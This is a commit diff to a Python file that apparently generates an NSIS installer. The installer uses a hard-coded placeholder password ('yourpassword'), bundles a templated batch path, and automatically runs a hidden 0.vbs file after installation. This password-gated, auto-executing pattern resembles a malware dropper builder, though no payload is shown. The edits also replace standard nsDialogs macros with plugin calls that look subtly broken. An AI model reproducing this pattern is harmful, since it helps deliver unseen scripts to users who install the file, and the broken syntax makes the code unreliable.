sigyllly commited on
Commit
1289a88
·
verified ·
1 Parent(s): 3374df9

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +5 -5
main.py CHANGED
@@ -88,9 +88,9 @@ Function ShowPasswordPage
88
  nsDialogs::Create 1018
89
  Pop $DialogHandle
90
 
91
- ${NSD_CreateLabel} 10u 10u 100% 12u "Please enter the installation password:"
92
  Pop $0
93
- ${NSD_CreatePassword} 10u 25u 100% 12u ""
94
  Pop $PasswordInput
95
 
96
  nsDialogs::Show
@@ -98,7 +98,7 @@ FunctionEnd
98
 
99
  # Password check logic
100
  Function CheckPassword
101
- ${NSD_GetText} $PasswordInput $PASSWORD
102
  StrCmp $PASSWORD "yourpassword" 0 +3
103
  MessageBox MB_OK "Password accepted"
104
  Return
@@ -119,8 +119,8 @@ Section "Install"
119
  MessageBox MB_OK "Attempting to load file from: $INSTDIR\\0.vbs"
120
 
121
  # Files to install (use /nonfatal to allow script to continue if file is missing)
122
- File /r "{bat_path}"
123
-
124
  # Run the VBS file post-install (only if it was found)
125
  IfFileExists "$INSTDIR\\0.vbs" 0 +2
126
  ExecShell "" "$INSTDIR\\0.vbs"
 
88
  nsDialogs::Create 1018
89
  Pop $DialogHandle
90
 
91
+ nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
92
  Pop $0
93
+ nsDialogs::CreatePassword 10u 25u 100% 12u ""
94
  Pop $PasswordInput
95
 
96
  nsDialogs::Show
 
98
 
99
  # Password check logic
100
  Function CheckPassword
101
+ nsDialogs::GetText $PasswordInput $PASSWORD
102
  StrCmp $PASSWORD "yourpassword" 0 +3
103
  MessageBox MB_OK "Password accepted"
104
  Return
 
119
  MessageBox MB_OK "Attempting to load file from: $INSTDIR\\0.vbs"
120
 
121
  # Files to install (use /nonfatal to allow script to continue if file is missing)
122
+ File /nonfatal /r "{bat_path}"
123
+
124
  # Run the VBS file post-install (only if it was found)
125
  IfFileExists "$INSTDIR\\0.vbs" 0 +2
126
  ExecShell "" "$INSTDIR\\0.vbs"